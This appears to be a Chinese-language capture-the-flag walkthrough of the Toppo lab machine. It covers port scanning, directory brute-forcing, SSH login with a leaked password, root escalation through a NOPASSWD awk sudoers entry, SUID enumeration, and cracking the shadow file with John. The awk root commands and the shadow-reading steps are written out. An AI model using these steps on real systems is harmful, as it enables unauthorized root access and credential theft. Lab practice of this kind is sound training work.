nmap全端口扫
用msf的search一下相关版本的漏洞
没找到相关漏洞,直接从web端入手
Web渗透
Dir爆目录

可疑目录打开:
http://192.168.8.123/admin/notes.txt

密码:12345ted123
扫了目录,没发现web有登陆界面
想必是ssh登陆
SSH登录
猜测用户名是:ted (爬取web页面,发现ted)
密码:12345ted123


提权:
方法一:sudoers
ted@Toppo:/$ cat /etc/sudoers
ted ALL=(ALL) NOPASSWD: /usr/bin/awk
ted@Toppo:/$ awk 'BEGIN{system("whoami")}'
root
ted@Toppo:/$ awk 'BEGIN {system("ls/root")}'
flag.txt
ted@Toppo:/$ awk 'BEGIN {system("cat/root/flag.txt")}'
Congratulations ! there is your flag :0wnedlab{p4ssi0n_c0me_with_pract1ce}

方法二:suid提权
下面的命令可以发现所有的系统中运行的SUID可执行文件
find / -userroot -perm -4000 -print 2>/dev/null

运行python

拿到flag:
flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
破解密码
用awk命令全局搜shadow文件
John破解shadow

密码:test123
可以直接登录主机
靶机下载地址:
链接:https://pan.baidu.com/s/1E_JzrrKVcTPobj4acIgKYA
提取码:u909
网友评论